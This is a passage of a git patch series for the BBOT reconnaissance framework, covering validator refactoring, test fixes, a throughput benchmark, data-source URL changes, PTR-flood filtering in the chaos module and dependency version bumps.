b/bbot/test/test_step_2/module_tests/test_module_retirejs.py @@ -116,13 +116,14 @@ def check(self, module_test, events): descriptions = [finding.data.get("description", "") for finding in retirejs_findings] all_descriptions = "\n".join(descriptions) - # Look for specific vulnerabilities we expect to find - expected_handlebars_vuln = "Vulnerable JavaScript library detected: handlebars v4.0.5 Severity: HIGH Summary: Regular Expression Denial of Service in Handlebars JavaScript URL: http://127.0.0.1:8888/handlebars.min.js CVE(s): CVE-2019-20922 Affected versions: [4.0.0 to 4.4.5)" - expected_jquery_vuln = "Vulnerable JavaScript library detected: jquery v3.4.1 Severity: MEDIUM Summary: Regex in its jQuery.htmlPrefilter sometimes may introduce XSS JavaScript URL: http://127.0.0.1:8888/jquery-3.4.1.min.js CVE(s): CVE-2020-11022 Affected versions: [1.2.0 to 3.5.0)" - - # Verify at least one of the expected vulnerabilities is found - handlebars_found = expected_handlebars_vuln in all_descriptions - jquery_found = expected_jquery_vuln in all_descriptions + # Match on stable identifiers — upstream RetireJS revises summary and + # affected-version strings over time. + def has_vuln(library, version, cve, js_url): + needle = f"library detected: {library} v{version}" + return any(needle in d and cve in d and js_url in d for d in descriptions) + + handlebars_found = has_vuln("handlebars", "4.0.5", "CVE-2019-20922", "http://127.0.0.1:8888/handlebars.min.js") + jquery_found = has_vuln("jquery", "3.4.1", "CVE-2020-11022", "http://127.0.0.1:8888/jquery-3.4.1.min.js") assert handlebars_found and jquery_found, ( f"Expected to find specific vulnerabilities but didn't find them. Found descriptions:\n{all_descriptions}" From 2d15ac687f6e4e954326bf247f65465d033b72fc Mon Sep 17 00:00:00 2001 From: aconite33 Date: Mon, 18 May 2026 20:33:27 -0600 Subject: [PATCH 672/912] preset-validation: move validate_fqdn_or_ip to helpers/validators.py The FQDN-or-IP helper landed in `bbot/core/config/models.py` next to the pydantic schemas, but BBOT already has a dedicated home for public validators: `bbot/core/helpers/validators.py`, which holds `validate_host`, `validate_port`, `validate_url`, `validate_email`, and friends. Putting the new helper anywhere else fragments the validator API surface and makes the function harder to find for module authors who want to opt in. Mechanical move only, no behavior change: - validators.py: define `validate_fqdn_or_ip` next to `validate_host`, with a docstring noting the relationship to `validate_host` (this one is stricter and does not normalize, so a pydantic field_validator sees the input unchanged). - models.py: drop the local definition. Import the helper from `bbot.core.helpers.validators` and keep the existing field_validator binding on `BBOTConfig.interactsh_server`. - models.py.__all__: remove the entry. The helper is no longer defined here. Module authors who want FQDN-or-IP validation on their own `class Config` fields can now do: from bbot.core.helpers.validators import validate_fqdn_or_ip from pydantic import field_validator class Config(BaseModuleConfig): host: str = Field("127.0.0.1", description="...") _validate_host = field_validator("host")(validate_fqdn_or_ip) --- bbot/core/config/models.py | 25 +++--------------------- bbot/core/helpers/validators.py | 34 ++++++++++++++++++++++++++++++++- 2 files changed, 36 insertions(+), 23 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 877e74d9c0..e9a036acd0 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -20,29 +20,10 @@ from pydantic_core import PydanticUndefined from pydantic_settings import BaseSettings, SettingsConfigDict +from bbot.core.helpers.validators import validate_fqdn_or_ip -STRICT = ConfigDict(extra="forbid") - - -def _validate_fqdn_or_ip(v: Optional[str]) -> Optional[str]: - """Accept None, empty, an IP address, or a hostname with at least one dot. - Single-label names like `localhost` (or a domain typed without its TLD) - are rejected so typos in domain-shaped config fields fail at preset-load - time rather than surfacing as runtime "Failed to register" errors deep - in a scan. - """ - if v is None or v == "": - return v - # Lazy import to avoid a cycle at module load time. is_ip handles v4/v6; - # is_dns_name + a required dot is BBOT's everyday-FQDN check. - from bbot.core.helpers.misc import is_dns_name, is_ip - - if is_ip(v): - return v - if "." in v and is_dns_name(v): - return v - raise ValueError(f"not a valid FQDN or IP address: {v!r}") +STRICT = ConfigDict(extra="forbid") def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool = False, **kwargs): @@ -337,7 +318,7 @@ class BBOTConfig(BaseSettings): interactsh_token: Optional[str] = Field(default=None, sensitive=True) interactsh_disable: Optional[bool] = None - _validate_interactsh_server = field_validator("interactsh_server")(_validate_fqdn_or_ip) + _validate_interactsh_server = field_validator("interactsh_server")(validate_fqdn_or_ip) # Per-module configs — validated separately, per-module, against each # module's own `class Config(BaseModuleConfig)`. diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 27c8bd0fea..577f124756 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -7,7 +7,7 @@ from bbot.core.helpers import regexes from bbot.errors import ValidationError from bbot.core.helpers.url import parse_url, hash_url -from bbot.core.helpers.misc import smart_encode_punycode, split_host_port, make_netloc, is_ip +from bbot.core.helpers.misc import smart_encode_punycode, split_host_port, make_netloc, is_dns_name, is_ip log = logging.getLogger("bbot.core.helpers.validators") @@ -129,6 +129,38 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] raise ValidationError(f'Invalid hostname: "{host}"') +def validate_fqdn_or_ip(host): + """Strict FQDN-or-IP check. Accepts an IPv4/IPv6 address or a hostname + containing at least one dot. Rejects single-label values (e.g. + `localhost`, or a domain typed without its TLD), so domain-shaped + config fields fail at preset-load time instead of surfacing as runtime + errors deep in a scan. + + `None` and the empty string pass through to support optional config + fields with `null` defaults. + + Unlike `validate_host`, this function does not normalize the input + (no port-stripping, lowercasing, or punycode conversion); it returns + the value as supplied. Use it as a pydantic `field_validator` on + schema fields that must be an FQDN or IP and nothing else. + + Examples: + >>> validate_fqdn_or_ip("example.com") + 'example.com' + >>> validate_fqdn_or_ip("192.168.1.1") + '192.168.1.1' + >>> validate_fqdn_or_ip("localhost") + ValueError: not a valid FQDN or IP address: 'localhost' + """ + if host is None or host == "": + return host + if is_ip(host): + return host + if isinstance(host, str) and "." in host and is_dns_name(host): + return host + raise ValueError(f"not a valid FQDN or IP address: {host!r}") + + FINDING_SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL") From 8f03afef5574e7f9f87383097e39f7deceb331af Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 19 May 2026 09:58:17 -0400 Subject: [PATCH 673/912] cloudcheck: skip storage-bucket regex pass for IP-only events MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bucket-hostname regexes are anchored to provider-specific suffixes (`.amazonaws.com`, `.r2.dev`, etc.) and can never match a bare IP literal. Skip the regex loop when every host in `hosts_to_check` is an IP — relevant for scans where `speculate` expands large IP_RANGE events into per-IP IP_ADDRESS events. Adds a generic intercept-pipeline throughput benchmark covering the single-threaded intercept chain (dnsresolve, cloudcheck, speculate, etc.) under an IP-heavy workload. --- bbot/modules/internal/cloudcheck.py | 5 ++ .../test_intercept_throughput_benchmarks.py | 57 +++++++++++++++++++ 2 files changed, 62 insertions(+) create mode 100644 bbot/test/benchmarks/test_intercept_throughput_benchmarks.py diff --git a/bbot/modules/internal/cloudcheck.py b/bbot/modules/internal/cloudcheck.py index 461804ce18..5859aa9d34 100644 --- a/bbot/modules/internal/cloudcheck.py +++ b/bbot/modules/internal/cloudcheck.py @@ -67,6 +67,11 @@ async def handle_event(self, event, **kwargs): if event.scope_distance >= self.max_scope_distance: return + # storage-bucket hostnames are anchored to provider-specific suffixes + # (e.g. .amazonaws.com), so they can never match a bare IP literal + if all(self.helpers.is_ip(h) for h in hosts_to_check): + return + # see if any of our hosts are storage buckets, etc. regexes = await self.cloud_hostname_regexes() regexes = regexes.get("STORAGE_BUCKET_HOSTNAME", []) diff --git a/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py b/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py new file mode 100644 index 0000000000..9418437361 --- /dev/null +++ b/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py @@ -0,0 +1,57 @@ +""" +Intercept-pipeline throughput benchmark. + +Measures how fast events flow through BBOT's intercept chain (dnsresolve, +cloudcheck, speculate, etc.) under a workload dominated by IP_ADDRESS events. +Useful for detecting regressions or improvements anywhere in the per-event +intercept path — single-threaded modules in this chain bound overall scan +throughput, so changes there are most easily observed here. + +The scenario uses a small private CIDR as the target. Speculate expands it +into IP_ADDRESS events, which then traverse the intercept chain. No external +network calls are made. + +Run with: + pytest bbot/test/benchmarks/test_intercept_throughput_benchmarks.py -v --benchmark-only +""" + +import asyncio + +import pytest + +from bbot.scanner import Scanner + + +def _run_scan(cidr): + config = { + "scope": {"search_distance": 0, "report_distance": 0}, + "dns": {"disable": True}, + "modules": {"speculate": {"ports": "80,443"}}, + "omit_event_types": [], + } + + scan = Scanner(cidr, config=config) + event_counts = {} + + async def _inner(): + async for event in scan.async_start(): + event_counts[event.type] = event_counts.get(event.type, 0) + 1 + + asyncio.run(_inner()) + return event_counts + + +class TestInterceptThroughputBenchmarks: + """Throughput of the intercept pipeline under IP-heavy workloads.""" + + @pytest.mark.benchmark(group="intercept_throughput_small") + def test_intercept_throughput_small(self, benchmark): + """/22 (1024 IPs) — modest fan-out, dominated by per-event intercept cost.""" + counts = benchmark.pedantic(_run_scan, args=("10.0.0.0/22",), rounds=3, warmup_rounds=1) + assert counts.get("IP_RANGE", 0) >= 1, f"expected ≥1 IP_RANGE event, got {counts}" + + @pytest.mark.benchmark(group="intercept_throughput_medium") + def test_intercept_throughput_medium(self, benchmark): + """/20 (4096 IPs) — larger fan-out exercising the intercept queue under load.""" + counts = benchmark.pedantic(_run_scan, args=("10.0.0.0/20",), rounds=3, warmup_rounds=1) + assert counts.get("IP_RANGE", 0) >= 1, f"expected ≥1 IP_RANGE event, got {counts}" From de9488d88d4e40bae59fd4c0f38d7014f1437472 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 19 May 2026 18:28:16 -0400 Subject: [PATCH 674/912] wire bbot_io_api_key config through ASNHelper to asndb --- bbot/core/helpers/asn.py | 3 ++- bbot/defaults.yml | 4 ++++ bbot/test/test_step_1/test_helpers.py | 24 ++++++++++++++++++++++++ 3 files changed, 30 insertions(+), 1 deletion(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index d7693bfcce..0491b97f4f 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -29,7 +29,8 @@ def client(self): from asndb import ASNDB ssl_verify = self.parent_helper.web_config.get("ssl_verify", False) - self._client = ASNDB(verify=ssl_verify) + api_key = self.parent_helper.config.get("bbot_io_api_key", None) + self._client = ASNDB(bbot_io_api_key=api_key, verify=ssl_verify) return self._client def _normalize(self, response): diff --git a/bbot/defaults.yml b/bbot/defaults.yml index c1394f135a..d6559443eb 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -314,3 +314,7 @@ omit_event_types: interactsh_server: null interactsh_token: null interactsh_disable: false + +# API key for bbot.io services (currently used by ASN lookups via the asndb library) +# Can also be set via the BBOT_IO_API_KEY environment variable, which takes precedence. +bbot_io_api_key: null diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 44a83d8394..8da8ccb771 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1146,3 +1146,27 @@ def test_clean_dns_record(): assert clean_dns_record("'d1jwhzvlef5tfb.example.com'") == "d1jwhzvlef5tfb.example.com" # quotes + trailing dot assert clean_dns_record('"d1jwhzvlef5tfb.example.com."') == "d1jwhzvlef5tfb.example.com" + + +@pytest.mark.asyncio +async def test_asn_helper_passes_api_key(bbot_scanner, monkeypatch): + """ASNHelper should forward the configured bbot_io_api_key to ASNDB.""" + captured = {} + + class FakeASNDB: + def __init__(self, bbot_io_api_key=None, verify=True): + captured["bbot_io_api_key"] = bbot_io_api_key + captured["verify"] = verify + + import asndb + + monkeypatch.setattr(asndb, "ASNDB", FakeASNDB) + + scan = bbot_scanner("8.8.8.8", config={"bbot_io_api_key": "test-key-xyz"}) + _ = scan.helpers.asn.client + assert captured["bbot_io_api_key"] == "test-key-xyz" + + captured.clear() + scan2 = bbot_scanner("8.8.8.8") + _ = scan2.helpers.asn.client + assert captured["bbot_io_api_key"] is None From c0774fbed9e473c3c67966fc2de7eddc0f8c287e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 19 May 2026 21:37:23 -0400 Subject: [PATCH 675/912] pin wpscan to 3.8.28 for ruby 3.2 compat --- bbot/modules/wpscan.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index cb989a21a3..b7bffb8dae 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -58,7 +58,10 @@ class wpscan(BaseModule): }, { "name": "Install wpscan gem", - "gem": {"name": "wpscan", "state": "latest", "user_install": False}, + # Pin to 3.8.28 (requires Ruby >= 3.0). wpscan 4.0.0 requires Ruby >= 3.3, + # which is newer than the Ruby shipped by Ubuntu 24.04 (3.2.3) and the bbot + # CI runners. Bump this when the runners ship Ruby 3.3+. + "gem": {"name": "wpscan", "version": "3.8.28", "user_install": False}, "become": True, }, ] From bafd04540e7f913d31ea930fa7c487795f5ac37a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 09:29:04 -0400 Subject: [PATCH 676/912] point anubisdb at anubisdb.com --- bbot/modules/anubisdb.py | 4 ++-- bbot/test/test_step_2/module_tests/test_module_anubisdb.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/modules/anubisdb.py b/bbot/modules/anubisdb.py index f1621a1f2a..ae1ceb02fc 100644 --- a/bbot/modules/anubisdb.py +++ b/bbot/modules/anubisdb.py @@ -6,7 +6,7 @@ class anubisdb(subdomain_enum): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { - "description": "Query jldc.me's database for subdomains", + "description": "Query anubisdb.com for subdomains", "created_date": "2022-10-04", "author": "@TheTechromancer", } @@ -15,7 +15,7 @@ class anubisdb(subdomain_enum): "limit": "Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API)" } - base_url = "https://jldc.me/anubis/subdomains" + base_url = "https://anubisdb.com/anubis/subdomains" dns_abort_depth = 5 async def request_url(self, query): diff --git a/bbot/test/test_step_2/module_tests/test_module_anubisdb.py b/bbot/test/test_step_2/module_tests/test_module_anubisdb.py index aef3f0c73e..a9aff705e1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_anubisdb.py +++ b/bbot/test/test_step_2/module_tests/test_module_anubisdb.py @@ -5,7 +5,7 @@ class TestAnubisdb(ModuleTestBase): async def setup_after_prep(self, module_test): module_test.module.abort_if = lambda e: False module_test.blasthttp_mock.add_response( - url="https://jldc.me/anubis/subdomains/blacklanternsecurity.com", + url="https://anubisdb.com/anubis/subdomains/blacklanternsecurity.com", json=["asdf.blacklanternsecurity.com", "zzzz.blacklanternsecurity.com"], ) From 6d463a757885902853cd7a50d5ec2f089c079d06 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 11:35:10 -0400 Subject: [PATCH 677/912] remove digitorus module --- bbot/modules/digitorus.py | 31 ------------------- .../module_tests/test_module_digitorus.py | 20 ------------ 2 files changed, 51 deletions(-) delete mode 100644 bbot/modules/digitorus.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_digitorus.py diff --git a/bbot/modules/digitorus.py b/bbot/modules/digitorus.py deleted file mode 100644 index 611d53704a..0000000000 --- a/bbot/modules/digitorus.py +++ /dev/null @@ -1,31 +0,0 @@ -import re - -from bbot.modules.templates.subdomain_enum import subdomain_enum - - -class digitorus(subdomain_enum): - flags = ["safe", "subdomain-enum", "passive"] - watched_events = ["DNS_NAME"] - produced_events = ["DNS_NAME"] - meta = { - "description": "Query certificatedetails.com for subdomains", - "created_date": "2023-07-25", - "author": "@TheTechromancer", - } - - base_url = "https://certificatedetails.com" - - async def request_url(self, query): - url = f"{self.base_url}/{self.helpers.quote(query)}" - return await self.helpers.request(url) - - async def parse_results(self, r, query): - results = set() - content = getattr(r, "text", "") - extract_regex = re.compile(r"[\w.-]+\." + query, re.I) - if content: - for match in extract_regex.finditer(content): - subdomain = match.group().lower() - if subdomain and subdomain.endswith(f".{query}"): - results.add(subdomain) - return results diff --git a/bbot/test/test_step_2/module_tests/test_module_digitorus.py b/bbot/test/test_step_2/module_tests/test_module_digitorus.py deleted file mode 100644 index efb221429d..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_digitorus.py +++ /dev/null @@ -1,20 +0,0 @@ -from .base import ModuleTestBase - - -class TestDigitorus(ModuleTestBase): - web_response = """www.blacklanternsecurity.com
    -chat.blacklanternsecurity.com
    -www.blacklanternsecurity.com
    -tasks.blacklanternsecurity.com
    -gitlab.blacklanternsecurity.com
    -""" - - async def setup_after_prep(self, module_test): - module_test.blasthttp_mock.add_response( - url="https://certificatedetails.com/blacklanternsecurity.com", - text=self.web_response, - ) - - def check(self, module_test, events): - assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" - assert any(e.data == "zzzz.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" From f10d1a9ae9050478a137ee1dd788d60f0154add2 Mon Sep 17 00:00:00 2001 From: SpamFaux Date: Wed, 20 May 2026 11:16:20 -0500 Subject: [PATCH 678/912] Fix set() non-determinism and remove redundant truncation code - Replace set() with dict.fromkeys() to preserve insertion order when merging wordlists, ensuring lines=n truncation is deterministic - Unify lines truncation into a single block shared by both the list and single-path branches instead of duplicating it --- bbot/core/helpers/web/web.py | 93 ++++++++++++++++-------------------- 1 file changed, 41 insertions(+), 52 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 28ab13078b..45c2a35f10 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -533,70 +533,59 @@ async def wordlist(self, path, lines=None, zip=False, zip_filename=None, **kwarg """ import zipfile - # Handle list of wordlists - fetch each and merge into a single deduplicated file + # Handle list of wordlists - fetch each and merge into a single order-preserving deduplicated file, + # then fall through to the unified truncation logic below if not isinstance(path, (str, Path)): paths = list(path) if not paths: raise WordlistError("Wordlist list is empty") - merged = set() + all_words = [] for p in paths: f = await self.wordlist(p, **kwargs) - merged.update(self.parent_helper.read_file(f)) + all_words.extend(self.parent_helper.read_file(f)) cache_key = "merged_wordlist:" + ":".join(sorted(str(p) for p in paths)) - merged_filename = self.parent_helper.cache_filename(cache_key) - with open(merged_filename, "w") as f: - for word in merged: + filename = self.parent_helper.cache_filename(cache_key) + with open(filename, "w") as f: + for word in dict.fromkeys(all_words): f.write(f"{word}\n") - if lines is None: - return merged_filename - lines = int(lines) - with open(merged_filename) as f: - read_lines = f.readlines() - trunc_key = f"{merged_filename}:{lines}" - truncated_filename = self.parent_helper.cache_filename(trunc_key) - with open(truncated_filename, "w") as f: - for line in read_lines[:lines]: - f.write(line) - return truncated_filename - - if not path: - raise WordlistError(f"Invalid wordlist: {path}") - if "cache_hrs" not in kwargs: - # 4320 hrs = 180 days = 6 months - kwargs["cache_hrs"] = 4320 - if self.parent_helper.is_url(path): - filename = await self.download(str(path), **kwargs) - if filename is None: - raise WordlistError(f"Unable to retrieve wordlist from {path}") else: - filename = Path(path).resolve() - if not filename.is_file(): - raise WordlistError(f"Unable to find wordlist at {path}") - - if zip: - if not zip_filename: - raise WordlistError("zip_filename must be specified when zip is True") - try: - with zipfile.ZipFile(filename, "r") as zip_ref: - if zip_filename not in zip_ref.namelist(): - raise WordlistError(f"File {zip_filename} not found in the zip archive {filename}") - zip_ref.extract(zip_filename, filename.parent) - filename = filename.parent / zip_filename - except Exception as e: - raise WordlistError(f"Error unzipping file {filename}: {e}") + if not path: + raise WordlistError(f"Invalid wordlist: {path}") + if "cache_hrs" not in kwargs: + # 4320 hrs = 180 days = 6 months + kwargs["cache_hrs"] = 4320 + if self.parent_helper.is_url(path): + filename = await self.download(str(path), **kwargs) + if filename is None: + raise WordlistError(f"Unable to retrieve wordlist from {path}") + else: + filename = Path(path).resolve() + if not filename.is_file(): + raise WordlistError(f"Unable to find wordlist at {path}") + + if zip: + if not zip_filename: + raise WordlistError("zip_filename must be specified when zip is True") + try: + with zipfile.ZipFile(filename, "r") as zip_ref: + if zip_filename not in zip_ref.namelist(): + raise WordlistError(f"File {zip_filename} not found in the zip archive {filename}") + zip_ref.extract(zip_filename, filename.parent) + filename = filename.parent / zip_filename + except Exception as e: + raise WordlistError(f"Error unzipping file {filename}: {e}") if lines is None: return filename - else: - lines = int(lines) - with open(filename) as f: - read_lines = f.readlines() - cache_key = f"{filename}:{lines}" - truncated_filename = self.parent_helper.cache_filename(cache_key) - with open(truncated_filename, "w") as f: - for line in read_lines[:lines]: - f.write(line) - return truncated_filename + lines = int(lines) + with open(filename) as f: + read_lines = f.readlines() + cache_key = f"{filename}:{lines}" + truncated_filename = self.parent_helper.cache_filename(cache_key) + with open(truncated_filename, "w") as f: + for line in read_lines[:lines]: + f.write(line) + return truncated_filename def beautifulsoup( self, From 50091fa750292897fe8fc39424f6b617d2b9ef55 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 12:32:17 -0400 Subject: [PATCH 679/912] collapse PTR-style floods in chaos response MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Chaos sometimes returns more than a million subdomains for a single domain, typically ISP reverse-DNS explosions. Without intervention this floods the event pipeline. - Drop subdomains whose leading segments look like IPv4 octets (dotted or hyphenated), the most common PTR-record shape. - After filtering, group surviving names by immediate parent. If a parent has more than PER_PARENT_CAP (300) children, drop them and emit just the parent — let bbot's normal DNS wildcard detection decide whether it actually is wildcard, rather than asserting it from chaos's evidence alone. - Run the filter/group/collapse in the CPU executor so processing large responses doesn't block the event loop. Resolves #2879. --- bbot/modules/chaos.py | 81 ++++++++++++++++--- .../module_tests/test_module_chaos.py | 75 +++++++++++++++++ 2 files changed, 143 insertions(+), 13 deletions(-) diff --git a/bbot/modules/chaos.py b/bbot/modules/chaos.py index 9c4255e542..c84dad2698 100644 --- a/bbot/modules/chaos.py +++ b/bbot/modules/chaos.py @@ -1,6 +1,59 @@ +import re +from collections import defaultdict + from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +PER_PARENT_CAP = 300 +PTR_NOISE_PATTERNS = [ + # leading dotted IPv4-style octets, e.g. 001.106.103.218.static.netvigator.com + re.compile(r"^\d{1,4}(\.\d{1,4}){2,}(\.|$)"), + # leading hyphenated IPv4-style octets, e.g. 000-1-246-220.static.netvigator.com + re.compile(r"^\d{1,4}(-\d{1,4}){2,}(\.|$|-)"), +] + + +def _collapse(subdomains, domain, query): + """Filter PTR-style noise and collapse floods of sibling subdomains. + + When chaos returns more than PER_PARENT_CAP subdomains sharing a single + immediate parent, drop the children and emit just the parent. Bbot's own + DNS resolver will then determine wildcard status through normal sampling + rather than us asserting it from chaos's evidence alone. + """ + prefixes = [] + for s in subdomains: + s = str(s).lower().strip(".*") + if not s: + continue + if any(p.match(s) for p in PTR_NOISE_PATTERNS): + continue + prefixes.append(s) + + suffix = f".{query}" + fqdns = [] + for p in prefixes: + full = f"{p}.{domain}" + if full.endswith(suffix): + fqdns.append(full) + + parent_children = defaultdict(list) + for name in fqdns: + _, parent = name.split(".", 1) + parent_children[parent].append(name) + + out = set() + capped = [] + for parent, kids in parent_children.items(): + if len(kids) > PER_PARENT_CAP: + capped.append((parent, len(kids))) + # emit just the parent so bbot's DNS layer can decide wildcard status + out.add(parent) + else: + out.update(kids) + return out, capped + + class chaos(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] @@ -27,18 +80,20 @@ async def request_url(self, query): return await self.api_request(url) async def parse_results(self, r, query): - results = set() j = r.json() - subdomains_set = set() - if isinstance(j, dict): - domain = j.get("domain", "") - if domain: - subdomains = j.get("subdomains", []) - for s in subdomains: - s = s.lower().strip(".*") - subdomains_set.add(s) - for s in subdomains_set: - full_subdomain = f"{s}.{domain}" - if full_subdomain and full_subdomain.endswith(f".{query}"): - results.add(full_subdomain) + if not isinstance(j, dict): + return set() + domain = j.get("domain", "") + if not domain: + return set() + subdomains = j.get("subdomains") or [] + if not subdomains: + return set() + results, capped = await self.helpers.run_in_executor_cpu(_collapse, subdomains, domain, query) + for parent, n in capped: + self.verbose( + f"chaos returned {n:,} children of {parent}, " + f"above per-parent cap of {PER_PARENT_CAP}; " + f"emitting parent only and dropping children" + ) return results diff --git a/bbot/test/test_step_2/module_tests/test_module_chaos.py b/bbot/test/test_step_2/module_tests/test_module_chaos.py index cdf5791456..b8a34e427f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_chaos.py +++ b/bbot/test/test_step_2/module_tests/test_module_chaos.py @@ -23,3 +23,78 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "asdf.cloud.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + + +class TestChaosFloodCollapse(ModuleTestBase): + """Chaos sometimes returns hundreds of thousands of children under a single + parent (typically ISP PTR explosions). Verify two behaviors: + + 1. Names whose leading segments look like IPv4 octets (dotted or + hyphenated) are filtered out as obvious PTR garbage. + 2. When a parent still has more children than the cap, the children are + dropped and the parent is emitted on its own — letting bbot's normal + DNS wildcard detection decide whether it's actually wildcard. + """ + + modules_overrides = ["chaos"] + config_overrides = {"modules": {"chaos": {"api_key": "asdf"}}} + + async def setup_before_prep(self, module_test): + flood = [] + # PTR junk that should be dropped by the IP-octet regex before it ever + # contributes to a parent's child count. + ptr_junk = [ + "001.106.103.218.static", # dotted leading octets, with leading zero + "192.168.1.1.static", # dotted leading octets + "203.0.113.7.customer", # dotted leading octets + "000-1-246-220.static", # hyphenated leading octets, leading zero + "10-20-30-40.static", # hyphenated leading octets + "42-98-224-32.cust", # hyphenated leading octets + ] + flood.extend(ptr_junk) + # 400 fake siblings under one parent (above the cap=300) — should + # collapse to just the parent. + flood.extend(f"host{i}.bigparent" for i in range(400)) + # A normal subdomain under a different parent — should pass through. + flood.append("realone.normalparent") + + module_test.blasthttp_mock.add_response( + url="https://dns.projectdiscovery.io/dns/example.com", + match_headers={"Authorization": "asdf"}, + json={"domain": "example.com", "subdomains": 65}, + ) + module_test.blasthttp_mock.add_response( + url="https://dns.projectdiscovery.io/dns/blacklanternsecurity.com/subdomains", + match_headers={"Authorization": "asdf"}, + json={"domain": "blacklanternsecurity.com", "subdomains": flood}, + ) + + def check(self, module_test, events): + emitted = [e.data for e in events if e.module and getattr(e.module, "name", "") == "chaos"] + + # 400 flooded children -> dropped; parent emitted instead + assert "bigparent.blacklanternsecurity.com" in emitted, ( + f"Expected parent to be emitted when children exceed cap; got {emitted}" + ) + assert not any(d.startswith("host") for d in emitted), ( + f"Flooded children should have been dropped; got {emitted}" + ) + + # Normal sibling under an uncapped parent passes through + assert "realone.normalparent.blacklanternsecurity.com" in emitted, ( + f"Real subdomain under uncapped parent should be emitted; got {emitted}" + ) + + # Every PTR-style leading-IP-octet name is filtered before reaching the cap + ptr_fragments = [ + "001.106.103.218", + "192.168.1.1", + "203.0.113.7", + "000-1-246-220", + "10-20-30-40", + "42-98-224-32", + ] + for frag in ptr_fragments: + assert not any(frag in d for d in emitted), ( + f"PTR-style name containing {frag!r} should have been filtered; got {emitted}" + ) From d17935abdffd93491795ae4852d779a7e32c003a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 14:39:09 -0400 Subject: [PATCH 680/912] bump blasthttp to 0.7.0 --- pyproject.toml | 2 +- uv.lock | 154 ++++++++++++++++++++++++------------------------- 2 files changed, 78 insertions(+), 78 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 391fc2a0ce..6fa2b8857f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=10.0.0,<11", - "blasthttp>=0.6.0", + "blasthttp>=0.7.0", "blastdns>=1.9.0,<2", ] diff --git a/uv.lock b/uv.lock index 55e38b5f9c..4bec5210ac 100644 --- a/uv.lock +++ b/uv.lock @@ -268,7 +268,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.6.0" }, + { name = "blasthttp", specifier = ">=0.7.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=10.0.0,<11" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, @@ -315,7 +315,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.12" }, + { name = "ruff", specifier = "==0.15.13" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.47" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -450,60 +450,60 @@ wheels = [ [[package]] name = "blasthttp" -version = "0.6.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/1a/ea/48bb3431fa5251cdbf94bbdf3f8ef8812ef68443cdb81465349b035e2f86/blasthttp-0.6.0.tar.gz", hash = "sha256:1aeacd1138dce99fdf9629b214efa6550ffacb977760bd08545ec612afcab613", size = 143136, upload-time = "2026-05-14T16:07:59.223Z" } -wheels = [ - { url = 